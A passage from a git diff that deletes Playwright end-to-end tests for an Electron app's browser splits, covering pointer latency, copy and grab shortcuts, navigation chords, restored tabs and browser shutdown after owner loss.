=> Promise): Promise => { - await run(0) - const started = performance.now() - for (let i = 0; i < REPEATS; i += 1) { - await run(i) - } - return (performance.now() - started) / REPEATS - } - - return { - // Why: the control — same socket, same queue, no pointer dispatch. Anything a - // pointer event costs above this is the dispatch itself. - evalControl: await meanMs(() => call('browser.eval', { expression: '1' })), - mouseMove: await meanMs((i) => call('browser.mouseMove', { x: 60 + (i % 20), y: 300 })), - mouseWheel: await meanMs(() => call('browser.mouseWheel', { dy: 1 })), - click: await meanMs(async (i) => { - await call('browser.mouseMove', { x: 400 + (i % 10), y: 400 }) - await call('browser.mouseDown', { button: 'left' }) - await call('browser.mouseMove', { x: 400 + (i % 10), y: 400 }) - await call('browser.mouseUp', { button: 'left' }) - }) - } - }, pageId) - const latencyReport = JSON.stringify(latency) - console.log(`POINTER_LATENCY ${latencyReport}`) - // Attach metrics because Playwright hides passing stdout in CI logs. - test.info().annotations.push({ type: 'pointer-latency', description: latencyReport }) - - // CDP pointer dispatch waits for a frame; fast evaluation can finish far below one. - const dispatchControlMs = Math.max(latency.evalControl, 1000 / 60) - expect(latency.mouseMove, latencyReport).toBeLessThan(dispatchControlMs * 3) - expect(latency.mouseWheel, latencyReport).toBeLessThan(dispatchControlMs * 3) - expect(latency.click, latencyReport).toBeLessThan(dispatchControlMs * 10) - - await evaluateInPage(orcaPage, pageId, 'window.__events = []; true') - const clickPairStarted = Date.now() - await driveRpcSequence(orcaPage, pageId, [...clickSteps(120, 60), ...clickSteps(120, 60)]) - const clickPairMs = Date.now() - clickPairStarted - - const pressTimes = JSON.parse( - String( - await evaluateInPage( - orcaPage, - pageId, - 'JSON.stringify(window.__events.filter((e) => e.type === "mousedown").map((e) => e.t))' - ) - ) - ) - const pressGapMs = Number(pressTimes[1]) - Number(pressTimes[0]) - const cadenceReport = `${latencyReport} clickPairMs=${clickPairMs} pressGapMs=${pressGapMs}` - console.log(`POINTER_CADENCE ${cadenceReport}`) - test.info().annotations.push({ type: 'pointer-cadence', description: cadenceReport }) - - const clickEvents = String( - await evaluateInPage( - orcaPage, - pageId, - 'JSON.stringify(window.__events.filter((e) => e.type === "click" || e.type === "dblclick"))' - ) - ) - const parsedClicks: unknown[] = JSON.parse(clickEvents) - const eventsOfType = (type: string): unknown[] => - parsedClicks.filter((event) => readProperty(event, 'type') === type) - console.log(`POINTER_CLICKS ${clickEvents}`) - expect(eventsOfType('click'), cadenceReport).toHaveLength(2) - - // Report double-click unverified when runner RPC cadence cannot express it; fake-timer tests pin clickCount deterministically. - if (pressGapMs >= DOUBLE_CLICK_INTERVAL_MS) { - test.info().annotations.push({ - type: 'pointer-dblclick-unverified', - description: `presses were ${pressGapMs}ms apart, outside the ${DOUBLE_CLICK_INTERVAL_MS}ms interval — ${cadenceReport}` - }) - } else { - expect(eventsOfType('dblclick'), cadenceReport).toHaveLength(1) - expect(readProperty(eventsOfType('dblclick')[0], 'detail'), cadenceReport).toBe(2) - } - - await evaluateInPage(orcaPage, pageId, 'window.__events = []; true') - await driveRpcSequence(orcaPage, pageId, [ - ['browser.mouseMove', { x: 120, y: 60 }], - ['browser.mouseDown', { button: 'right' }], - ['browser.mouseUp', { button: 'right' }] - ]) - await expect - .poll(() => - evaluateInPage(orcaPage, pageId, 'window.__events.some((e) => e.type === "contextmenu")') - ) - .toBe('true') - - await evaluateInPage(orcaPage, pageId, 'window.getSelection().removeAllRanges(); true') - await driveRpcSequence(orcaPage, pageId, [ - ['browser.mouseMove', { x: 42, y: 155 }], - ['browser.mouseDown', { button: 'left' }], - ...[80, 120, 160, 200].map((x): RpcStep => ['browser.mouseMove', { x, y: 155 }]), - ['browser.mouseUp', { button: 'left' }] - ]) - await expect - .poll(() => evaluateInPage(orcaPage, pageId, 'String(window.getSelection())')) - .toContain('alpha') - - await evaluateInPage( - orcaPage, - pageId, - 'document.querySelector("#scroller").scrollTop = 0; window.scrollTo(0, 0); true' - ) - await driveRpcSequence(orcaPage, pageId, [ - ['browser.mouseMove', { x: 180, y: 300 }], - ...Array.from({ length: 6 }, (): RpcStep => ['browser.mouseWheel', { dy: 120 }]) - ]) - await expect - .poll( - async () => - Number( - await evaluateInPage(orcaPage, pageId, 'document.querySelector("#scroller").scrollTop') - ), - { timeout: 10_000 } - ) - .toBeGreaterThan(0) - } finally { - await server.close() - } -}) diff --git a/tests/e2e/browser-sidecar-owner-loss.spec.ts b/tests/e2e/browser-sidecar-owner-loss.spec.ts deleted file mode 100644 index d19d7b4de75..00000000000 --- a/tests/e2e/browser-sidecar-owner-loss.spec.ts +++ /dev/null @@ -1,50 +0,0 @@ -import { existsSync, mkdtempSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { getRuntimeMetadataPath } from '../../src/shared/remote-runtime/bootstrap/runtime-bootstrap' -import { expect, test } from './helpers/orca-app' -import { launchOwnedBrowserForE2E } from './helpers/orca-restart' -import { cleanupE2EDaemons } from './helpers/electron-process-shutdown' - -test.use({ seedTestRepo: false }) - -for (const early of [false, true]) { - test(`hidden browser exits after owner loss ${early ? 'during startup' : 'after readiness'}`, async () => { - const profile = mkdtempSync( - join(process.platform === 'win32' ? tmpdir() : '/tmp', 'orca-owner-') - ) - const child = launchOwnedBrowserForE2E(profile) - let stderr = '' - child.stderr?.on('data', (chunk: Buffer) => { - stderr = (stderr + chunk.toString()).slice(-16_384) - }) - child.stdout?.resume() - try { - if (!early) { - await expect - .poll(() => existsSync(getRuntimeMetadataPath(profile)), { - message: 'Browser should become ready while its owner is connected', - timeout: 30_000 - }) - .toBe(true) - expect(child.exitCode, stderr).toBeNull() - } - child.disconnect() - await expect - .poll(() => child.exitCode, { - message: 'Owner loss should gracefully stop the real browser process', - timeout: 15_000 - }) - .toBe(0) - } finally { - if (child.exitCode === null && child.signalCode === null) { - child.kill('SIGTERM') - await expect - .poll(() => child.exitCode !== null || child.signalCode !== null, { timeout: 5_000 }) - .toBe(true) - } - await cleanupE2EDaemons(profile) - rmSync(profile, { recursive: true, force: true, maxRetries: 10, retryDelay: 100 }) - } - }) -} diff --git a/tests/e2e/browser-split-grab-shortcut.spec.ts b/tests/e2e/browser-split-grab-shortcut.spec.ts deleted file mode 100644 index e65ea400aa3..00000000000 --- a/tests/e2e/browser-split-grab-shortcut.spec.ts +++ /dev/null @@ -1,303 +0,0 @@ -// STA-3319 / STA-8147: Cmd/Ctrl+C arms element grab only in the focused split, and never -// while text is selected elsewhere in the window (that press is a copy). - -import { randomUUID } from 'node:crypto' -import { mkdtempSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import { - browserOverlay, - createBrowserSplit, - createTerminalBrowserSplit, - guestModifier, - pressKeyInBrowserGuest, - shortcutModifier, - waitForFocusedGroup, - type GuestModifier -} from './helpers/browser-split-fixture' -import { waitForGuestUrl } from './helpers/browser-split-guest-probes' -import { - startBrowserSplitPageServer, - type BrowserSplitPageServer -} from './helpers/browser-split-page-server' - -const copyChord = `${shortcutModifier}+c` -function grabBanner(page: Page, browserTabId: string) { - return browserOverlay(page, browserTabId).getByText(/Click or hover an element|Grab failed/) -} - -async function readGuestGrab(page: Page, browserTabId: string, expression: string) { - return page.evaluate( - async ({ tabId, script }) => { - const webview = document.querySelector( - `[data-browser-overlay-tab-id="${tabId}"] webview` - ) - return webview ? Boolean(await webview.executeJavaScript(script)) : false - }, - { tabId: browserTabId, script: expression } - ) -} - -// Hover like a user: the banner shows before the picker arms, which records hover a frame later. -async function hoverGuestGrabTarget(page: Page, browserTabId: string, x: number, y: number) { - await expect - .poll(() => readGuestGrab(page, browserTabId, 'Boolean(window.__orcaGrab?.onPick)')) - .toBe(true) - await page.evaluate( - async ({ tabId, x, y }) => { - const webview = document.querySelector( - `[data-browser-overlay-tab-id="${tabId}"] webview` - ) - await webview?.sendInputEvent({ type: 'mouseMove', x, y }) - }, - { tabId: browserTabId, x, y } - ) - await expect - .poll(() => - readGuestGrab(page, browserTabId, 'Boolean(window.__orcaGrab?.getCurrentElement())') - ) - .toBe(true) -} - -function reloadButton(page: Page, browserTabId: string) { - return browserOverlay(page, browserTabId).getByRole('button', { name: 'Reload', exact: true }) -} - -async function readClipboard(app: ElectronApplication): Promise { - return app.evaluate(({ clipboard }) => clipboard.readText()) -} - -async function writeClipboard(app: ElectronApplication, text: string): Promise { - await app.evaluate(({ clipboard }, value) => clipboard.writeText(value), text) -} - -async function clearSelection(page: Page): Promise { - await page.evaluate(() => window.getSelection()?.removeAllRanges()) -} - -/** Arms grab from the pane's toolbar: the presence check that makes a missing banner meaningful. */ -async function expectToolbarCopyChordArmsGrab(page: Page, browserTabId: string): Promise { - await clearSelection(page) - await reloadButton(page, browserTabId).focus() - await page.keyboard.press(copyChord) - await expect(grabBanner(page, browserTabId)).toBeVisible() -} - -async function enableNativeChat(page: Page): Promise { - await page.evaluate(async () => { - const nextSettings = await window.api.settings.set({ - nativeChatProviders: { claude: true, codex: true } - }) - window.__store?.setState({ settings: nextSettings }) - }) -} - -function claudeTranscript(sessionId: string, reply: string): string { - const rows = [ - { type: 'user', text: 'Explain the split shortcut fix.' }, - { type: 'assistant', text: reply } - ] - return `${rows - .map((row, index) => - JSON.stringify({ - sessionId, - uuid: `${sessionId}-${index}`, - timestamp: new Date(Date.now() - (rows.length - index) * 1_000).toISOString(), - type: row.type, - message: { - role: row.type, - model: 'claude-opus-4', - content: [{ type: 'text', text: row.text }] - } - }) - ) - .join('\n')}\n` -} - -/** Turns the terminal split into a native chat view over a seeded Claude transcript. */ -async function openNativeChatTranscript( - page: Page, - args: { paneKey: string; worktreeId: string; reply: string } -): Promise { - const sessionId = `e2e-split-grab-${randomUUID()}` - const transcriptPath = path.join( - mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-split-grab-')), - `${sessionId}.jsonl` - ) - writeFileSync(transcriptPath, claudeTranscript(sessionId, args.reply)) - await enableNativeChat(page) - await page.evaluate( - ({ paneKey, worktreeId, transcriptSessionId, transcriptFile }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Store unavailable') - } - state.setAgentStatus( - paneKey, - { state: 'working', prompt: 'e2e split grab probe', agentType: 'claude' }, - 'Claude', - undefined, - { worktreeId }, - { - providerSession: { - key: 'session_id', - id: transcriptSessionId, - transcriptPath: transcriptFile - } - } - ) - const [tabId] = paneKey.split(':') - const unifiedTab = (state.unifiedTabsByWorktree[worktreeId] ?? []).find( - (tab) => tab.contentType === 'terminal' && tab.entityId === tabId - ) - if (!unifiedTab) { - throw new Error('Unified terminal tab not found for chat toggle') - } - state.toggleTabViewMode(unifiedTab.id) - }, - { - paneKey: args.paneKey, - worktreeId: args.worktreeId, - transcriptSessionId: sessionId, - transcriptFile: transcriptPath - } - ) - await expect(page.locator('[data-native-chat-window]')).toBeVisible({ timeout: 30_000 }) -} - -test.describe('browser split grab shortcut', () => { - // Why: these tests share the system clipboard, so keep them on one worker. - test.describe.configure({ mode: 'default' }) - - let server: BrowserSplitPageServer - let savedClipboard: string | null = null - - test.beforeEach(async ({ electronApp, orcaPage }) => { - server = await startBrowserSplitPageServer() - // Why: the copy assertions read the real system clipboard; put the user's text back after. - savedClipboard = await readClipboard(electronApp) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - }) - - test.afterEach(async ({ electronApp }) => { - if (savedClipboard !== null) { - await writeClipboard(electronApp, savedClipboard) - } - await server.close() - }) - - test('escape typed in the page exits grab, the copy toast and find', async ({ orcaPage }) => { - const fixture = await createBrowserSplit(orcaPage, { - first: server.pageUrl('a', 1), - second: server.pageUrl('b', 1, 'localhost') - }) - await waitForGuestUrl(orcaPage, fixture.firstBrowserTabId, server.pageUrl('a', 1)) - const overlay = browserOverlay(orcaPage, fixture.firstBrowserTabId) - const pressInGuest = (keyCode: string, modifiers: GuestModifier[] = []): Promise => - pressKeyInBrowserGuest( - orcaPage, - fixture.firstBrowserTabId, - fixture.firstBrowserPageId, - keyCode, - modifiers - ) - - await pressInGuest('C', [guestModifier]) - await expect(grabBanner(orcaPage, fixture.firstBrowserTabId)).toBeVisible() - await pressInGuest('Escape') - await expect(grabBanner(orcaPage, fixture.firstBrowserTabId)).toBeHidden() - - // Why: a click-copy rearms the picker when its toast closes; outlasting the toast proves Escape ended it. - await pressInGuest('C', [guestModifier]) - await expect(grabBanner(orcaPage, fixture.firstBrowserTabId)).toBeVisible() - await hoverGuestGrabTarget(orcaPage, fixture.firstBrowserTabId, 60, 30) - await orcaPage.evaluate(async (browserTabId) => { - const webview = document.querySelector( - `[data-browser-overlay-tab-id="${browserTabId}"] webview` - ) - await webview?.sendInputEvent({ - type: 'mouseDown', - x: 60, - y: 30, - button: 'left', - clickCount: 1 - }) - await webview?.sendInputEvent({ - type: 'mouseUp', - x: 60, - y: 30, - button: 'left', - clickCount: 1 - }) - }, fixture.firstBrowserTabId) - await expect(overlay.getByText('Copied').first()).toBeVisible() - await pressInGuest('Escape') - await expect(overlay.getByText('Copied').first()).toBeHidden() - await expect(grabBanner(orcaPage, fixture.firstBrowserTabId)).toBeHidden() - - await pressInGuest('F', [guestModifier]) - const findInput = overlay.getByPlaceholder('Find in page...') - await expect(findInput).toBeVisible() - await pressInGuest('Escape') - await expect(findInput).toBeHidden() - }) - - test('copy chord with native chat text selected copies instead of arming grab', async ({ - electronApp, - orcaPage - }) => { - await waitForActiveTerminalManager(orcaPage, 30_000) - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const fixture = await createTerminalBrowserSplit(orcaPage, server.pageUrl('a', 1)) - await waitForGuestUrl(orcaPage, fixture.browserTabId, server.pageUrl('a', 1)) - const reply = `Selectable transcript reply ${randomUUID()}` - await openNativeChatTranscript(orcaPage, { - paneKey: descriptor.paneKey, - worktreeId: descriptor.worktreeId, - reply - }) - await writeClipboard(electronApp, 'clipboard before copy') - - const replyText = orcaPage.locator('[data-native-chat-window]').getByText(reply) - await replyText.click({ clickCount: 3 }) - await expect - .poll(() => orcaPage.evaluate(() => window.getSelection()?.toString())) - .toContain(reply) - await orcaPage.keyboard.press(copyChord) - - await expect.poll(() => readClipboard(electronApp)).toContain(reply) - await expect(grabBanner(orcaPage, fixture.browserTabId)).toBeHidden() - - // Why: with the browser split focused, only the live-selection check can tell this is a copy. - await writeClipboard(electronApp, 'clipboard before copy') - await reloadButton(orcaPage, fixture.browserTabId).focus() - await waitForFocusedGroup(orcaPage, fixture.browserGroupId) - expect(await orcaPage.evaluate(() => window.getSelection()?.toString())).toContain(reply) - await orcaPage.keyboard.press(copyChord) - await expect.poll(() => readClipboard(electronApp)).toContain(reply) - await expect(grabBanner(orcaPage, fixture.browserTabId)).toBeHidden() - - await expectToolbarCopyChordArmsGrab(orcaPage, fixture.browserTabId) - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(orcaPage.locator('[data-native-chat-root="true"]')).toBeVisible() - }) -}) diff --git a/tests/e2e/browser-split-navigation-shortcuts.spec.ts b/tests/e2e/browser-split-navigation-shortcuts.spec.ts deleted file mode 100644 index 0c9573b3f70..00000000000 --- a/tests/e2e/browser-split-navigation-shortcuts.spec.ts +++ /dev/null @@ -1,213 +0,0 @@ -// STA-8147: history, reload, zoom, and address-bar chords act on the split that sent them. - -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { focusActiveTerminalInput } from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - browserOverlay, - createBrowserSplit, - createTerminalBrowserSplit, - focusBrowserGroup, - guestModifier, - pressKeyInBrowserGuest, - shortcutModifier, - waitForFocusedGroup, - type BrowserSplitFixture, - type GuestModifier -} from './helpers/browser-split-fixture' -import { - guestLoadStarts, - guestUrl, - guestZoomLevel, - navigateGuest, - recordGuestLoadStarts, - waitForGuestIdle, - waitForGuestUrl -} from './helpers/browser-split-guest-probes' -import { - startBrowserSplitPageServer, - type BrowserSplitPageServer -} from './helpers/browser-split-page-server' - -type Chord = { renderer: string; guestKeyCode: string; guestModifiers: GuestModifier[] } - -const isMac = process.platform === 'darwin' -// Default bindings for browser.back / browser.forward / browser.reload / browser.hardReload. -const backChord: Chord = isMac - ? { renderer: 'Meta+BracketLeft', guestKeyCode: '[', guestModifiers: ['meta'] } - : { renderer: 'Alt+ArrowLeft', guestKeyCode: 'Left', guestModifiers: ['alt'] } -const forwardChord: Chord = isMac - ? { renderer: 'Meta+BracketRight', guestKeyCode: ']', guestModifiers: ['meta'] } - : { renderer: 'Alt+ArrowRight', guestKeyCode: 'Right', guestModifiers: ['alt'] } -const reloadChord: Chord = { - renderer: `${shortcutModifier}+r`, - guestKeyCode: 'R', - guestModifiers: [guestModifier] -} -const hardReloadChord: Chord = { - renderer: `${shortcutModifier}+Shift+R`, - guestKeyCode: 'R', - guestModifiers: [guestModifier, 'shift'] -} - -async function pressInGuest( - page: Page, - fixture: BrowserSplitFixture, - chord: Pick -): Promise { - await pressKeyInBrowserGuest( - page, - fixture.firstBrowserTabId, - fixture.firstBrowserPageId, - chord.guestKeyCode, - chord.guestModifiers - ) -} - -/** Two browser splits, each on its second page so both have somewhere to go back to. */ -async function createBrowserSplitWithHistory( - page: Page, - server: BrowserSplitPageServer -): Promise { - const fixture = await createBrowserSplit(page, { - first: server.pageUrl('a', 1), - second: server.pageUrl('b', 1, 'localhost') - }) - await waitForGuestUrl(page, fixture.firstBrowserTabId, server.pageUrl('a', 1)) - await waitForGuestUrl(page, fixture.secondBrowserTabId, server.pageUrl('b', 1, 'localhost')) - await navigateGuest(page, fixture.firstBrowserTabId, server.pageUrl('a', 2)) - await navigateGuest(page, fixture.secondBrowserTabId, server.pageUrl('b', 2, 'localhost')) - await waitForGuestIdle(page, fixture.firstBrowserTabId) - await waitForGuestIdle(page, fixture.secondBrowserTabId) - await recordGuestLoadStarts(page, [fixture.firstBrowserTabId, fixture.secondBrowserTabId]) - return fixture -} - -async function expectSecondSplitUntouched( - page: Page, - fixture: BrowserSplitFixture, - server: BrowserSplitPageServer -): Promise { - await waitForGuestIdle(page, fixture.firstBrowserTabId) - expect(await guestLoadStarts(page, fixture.secondBrowserTabId)).toBe(0) - expect(await guestUrl(page, fixture.secondBrowserTabId)).toBe(server.pageUrl('b', 2, 'localhost')) -} - -async function expectFirstSplitReloaded(page: Page, fixture: BrowserSplitFixture): Promise { - await expect.poll(() => guestLoadStarts(page, fixture.firstBrowserTabId)).toBeGreaterThan(0) -} - -test.describe('browser split navigation shortcuts', () => { - let server: BrowserSplitPageServer - - test.beforeEach(async ({ orcaPage }) => { - server = await startBrowserSplitPageServer() - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - }) - - test.afterEach(async () => { - await server.close() - }) - - test('Back and Forward typed in one guest move only that split', async ({ orcaPage }) => { - const fixture = await createBrowserSplitWithHistory(orcaPage, server) - - await pressInGuest(orcaPage, fixture, backChord) - await waitForGuestUrl(orcaPage, fixture.firstBrowserTabId, server.pageUrl('a', 1)) - await expectSecondSplitUntouched(orcaPage, fixture, server) - - await pressInGuest(orcaPage, fixture, forwardChord) - await waitForGuestUrl(orcaPage, fixture.firstBrowserTabId, server.pageUrl('a', 2)) - await expectSecondSplitUntouched(orcaPage, fixture, server) - }) - - test('Reload and Hard Reload typed in one guest reload only that split', async ({ orcaPage }) => { - const fixture = await createBrowserSplitWithHistory(orcaPage, server) - - await pressInGuest(orcaPage, fixture, reloadChord) - await expectFirstSplitReloaded(orcaPage, fixture) - await expectSecondSplitUntouched(orcaPage, fixture, server) - - await recordGuestLoadStarts(orcaPage, [fixture.firstBrowserTabId]) - await pressInGuest(orcaPage, fixture, hardReloadChord) - await expectFirstSplitReloaded(orcaPage, fixture) - await expectSecondSplitUntouched(orcaPage, fixture, server) - expect(await guestUrl(orcaPage, fixture.firstBrowserTabId)).toBe(server.pageUrl('a', 2)) - }) - - // Ctrl+wheel is not covered: before-mouse-event only fires for OS input, not sendInputEvent. - test('page zoom typed in one guest zooms only that split', async ({ orcaPage }) => { - const fixture = await createBrowserSplitWithHistory(orcaPage, server) - const firstZoom = (): Promise => - guestZoomLevel(orcaPage, fixture.firstBrowserTabId) - const secondZoom = (): Promise => - guestZoomLevel(orcaPage, fixture.secondBrowserTabId) - const initialFirstZoom = await firstZoom() - const initialSecondZoom = await secondZoom() - expect(initialFirstZoom).not.toBeNull() - - await pressInGuest(orcaPage, fixture, { guestKeyCode: '=', guestModifiers: [guestModifier] }) - await expect.poll(firstZoom).toBeGreaterThan(initialFirstZoom ?? 0) - expect(await secondZoom()).toBe(initialSecondZoom) - - await pressInGuest(orcaPage, fixture, { guestKeyCode: '-', guestModifiers: [guestModifier] }) - await pressInGuest(orcaPage, fixture, { guestKeyCode: '-', guestModifiers: [guestModifier] }) - await expect.poll(firstZoom).toBeLessThan(initialFirstZoom ?? 0) - expect(await secondZoom()).toBe(initialSecondZoom) - }) - - test('Back and Reload pressed from one split toolbar act on only that split', async ({ - orcaPage - }) => { - const fixture = await createBrowserSplitWithHistory(orcaPage, server) - const reloadButton = browserOverlay(orcaPage, fixture.firstBrowserTabId).getByRole('button', { - name: 'Reload', - exact: true - }) - - await reloadButton.focus() - await waitForFocusedGroup(orcaPage, fixture.firstBrowserGroupId) - await orcaPage.keyboard.press(backChord.renderer) - await waitForGuestUrl(orcaPage, fixture.firstBrowserTabId, server.pageUrl('a', 1)) - await expectSecondSplitUntouched(orcaPage, fixture, server) - - await recordGuestLoadStarts(orcaPage, [fixture.firstBrowserTabId]) - await reloadButton.focus() - await orcaPage.keyboard.press(reloadChord.renderer) - await expectFirstSplitReloaded(orcaPage, fixture) - await expectSecondSplitUntouched(orcaPage, fixture, server) - }) - - test('Back and Reload pressed in a focused terminal leave the browser split alone', async ({ - orcaPage - }) => { - const fixture = await createTerminalBrowserSplit(orcaPage, server.pageUrl('a', 1)) - await waitForGuestUrl(orcaPage, fixture.browserTabId, server.pageUrl('a', 1)) - await navigateGuest(orcaPage, fixture.browserTabId, server.pageUrl('a', 2)) - await waitForGuestIdle(orcaPage, fixture.browserTabId) - await recordGuestLoadStarts(orcaPage, [fixture.browserTabId]) - - await focusBrowserGroup(orcaPage, fixture.terminalGroupId) - await focusActiveTerminalInput(orcaPage) - await waitForFocusedGroup(orcaPage, fixture.terminalGroupId) - await orcaPage.keyboard.press(backChord.renderer) - await orcaPage.keyboard.press(reloadChord.renderer) - await orcaPage.keyboard.press(hardReloadChord.renderer) - // Why: the next toolbar press proves these chords reach the pane in this app; it only has to lose here. - const reloadButton = browserOverlay(orcaPage, fixture.browserTabId).getByRole('button', { - name: 'Reload', - exact: true - }) - await waitForGuestIdle(orcaPage, fixture.browserTabId) - expect(await guestLoadStarts(orcaPage, fixture.browserTabId)).toBe(0) - expect(await guestUrl(orcaPage, fixture.browserTabId)).toBe(server.pageUrl('a', 2)) - - await reloadButton.focus() - await waitForFocusedGroup(orcaPage, fixture.browserGroupId) - await orcaPage.keyboard.press(backChord.renderer) - await waitForGuestUrl(orcaPage, fixture.browserTabId, server.pageUrl('a', 1)) - }) -}) diff --git a/tests/e2e/browser-tab-list-restored-tabs.spec.ts b/tests/e2e/browser-tab-list-restored-tabs.spec.ts deleted file mode 100644 index bdf49cba288..00000000000 --- a/tests/e2e/browser-tab-list-restored-tabs.spec.ts +++ /dev/null @@ -1,115 +0,0 @@ -/** - * After a restart Orca restores browser tabs lazily: only a tab the user opens gets a page. - * Agents still need every tab in the tab bar, so `tab list` reports the restored ones too, and a - * command aimed at one loads it in the background without changing the tab the user sees. - */ -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { startBrowserSplitPageServer } from './helpers/browser-split-page-server' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { readProperty, rpc } from './helpers/browser-agent-focus-scenarios' - -type ListedTab = { browserPageId: string; title: string; active: boolean; loaded: unknown } - -async function listTabs(page: Page, worktree: string): Promise { - const tabs = readProperty(await rpc(page, 'browser.tabList', { worktree }), 'tabs') - return Array.isArray(tabs) - ? tabs.map((tab: unknown) => ({ - browserPageId: String(readProperty(tab, 'browserPageId')), - title: String(readProperty(tab, 'title')), - active: readProperty(tab, 'active') === true, - loaded: readProperty(tab, 'loaded') - })) - : [] -} - -function activeBrowserTabId(page: Page, worktreeId: string): Promise { - return page.evaluate( - (id) => window.__store?.getState().activeBrowserTabIdByWorktree[id] ?? null, - worktreeId - ) -} - -test('tab list reports restored tabs, and commands load them in the background', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - // Launches Orca twice and waits out a 10 s visibility lease. - test.setTimeout(300_000) - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - : '' - test.skip(!repoPath || !existsSync(repoPath), 'Global setup did not produce a seeded test repo') - const server = await startBrowserSplitPageServer() - const session = createRestartSession(testInfo) - let app: ElectronApplication | null = null - try { - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - const worktree = `id:${worktreeId}` - for (const pane of ['alpha', 'beta', 'gamma']) { - await first.page.evaluate( - ({ id, url, title }) => - window.__store?.getState().createBrowserTab(id, url, { title, activate: true }), - { id: worktreeId, url: server.pageUrl(pane, 1), title: `${pane} 1` } - ) - } - await expect - .poll(async () => (await listTabs(first.page, worktree)).map((tab) => tab.title)) - .toEqual(['alpha 1', 'beta 1', 'gamma 1']) - await session.close(app) - app = null - - const second = await session.launch() - app = second.app - await waitForSessionReady(second.page) - await expect - .poll(() => activeBrowserTabId(second.page, worktreeId), { timeout: 30_000 }) - .not.toBeNull() - const visibleTabId = await activeBrowserTabId(second.page, worktreeId) - - // Only gamma, the tab on screen, has a page; alpha and beta are listed from the tab bar. - await expect - .poll(async () => - (await listTabs(second.page, worktree)).map((tab) => [tab.title, tab.loaded]) - ) - .toEqual([ - ['alpha 1', false], - ['beta 1', false], - ['gamma 1', true] - ]) - - const switched = await rpc(second.page, 'browser.tabSwitch', { worktree, index: 0 }) - const alphaPageId = String(readProperty(switched, 'browserPageId')) - const title = await rpc(second.page, 'browser.eval', { - worktree, - page: alphaPageId, - expression: 'document.title' - }) - expect(readProperty(title, 'result')).toBe('alpha 1') - expect(await activeBrowserTabId(second.page, worktreeId)).toBe(visibleTabId) - - // The wake's 10 s visibility lease lapsing must not unload the page again. - // ast-grep-ignore: test-no-real-time-wait -- the lease is real time in the app and exposes no expiry signal - await second.page.waitForTimeout(12_000) - const later = await rpc(second.page, 'browser.eval', { - worktree, - page: alphaPageId, - expression: 'document.title' - }) - expect(readProperty(later, 'result')).toBe('alpha 1') - - await rpc(second.page, 'browser.tabClose', { worktree, index: 1 }) - await expect - .poll(async () => (await listTabs(second.page, worktree)).map((tab) => tab.title)) - .toEqual(['alpha 1', 'gamma 1']) - } finally { - if (app) { - await session.close(app) - } - await server.close() - } -}) diff --git a/tests/e2e/browser-tab.spec.ts b/tests/e2e/browser-tab.spec.ts deleted file mode 100644 index 71cd0ee77e0..00000000000 --- a/tests/e2e/browser-tab.spec.ts +++ /dev/null @@ -1,646 +0,0 @@ -// Cover browser-tab creation and state retention across tab switches. - -import { test, expect } from './helpers/orca-app' -import { createServer, type Server } from 'node:http' -import type { AddressInfo } from 'node:net' -import { - waitForSessionReady, - waitForActiveWorktree, - getActiveWorktreeId, - getActiveTabType, - getBrowserTabs, - ensureTerminalVisible -} from './helpers/store' -import { startBrowserLinkServer } from './helpers/browser-link-server' - -type CreatedBrowserTab = { - id: string - pageId: string | null -} - -async function createBrowserTab( - page: Parameters[0], - worktreeId: string, - url?: string, - title = 'New Browser Tab' -): Promise { - return page.evaluate( - ({ targetWorktreeId, targetUrl, targetTitle }) => { - const store = window.__store - if (!store) { - return null - } - - const state = store.getState() - const tab = state.createBrowserTab( - targetWorktreeId, - targetUrl ?? state.browserDefaultUrl ?? 'about:blank', - { - title: targetTitle, - activate: true - } - ) - return { id: tab.id, pageId: tab.activePageId ?? null } - }, - { targetWorktreeId: worktreeId, targetUrl: url, targetTitle: title } - ) -} - -async function switchToBrowserTab( - page: Parameters[0], - worktreeId: string, - browserTabId: string -): Promise { - await page.evaluate( - ({ targetWorktreeId, targetBrowserTabId }) => { - const store = window.__store - if (!store) { - return - } - - const state = store.getState() - if ( - (state.browserTabsByWorktree[targetWorktreeId] ?? []).some( - (tab) => tab.id === targetBrowserTabId - ) - ) { - state.setActiveBrowserTab(targetBrowserTabId) - } - }, - { targetWorktreeId: worktreeId, targetBrowserTabId: browserTabId } - ) -} - -async function startBrowserFormServer(host = 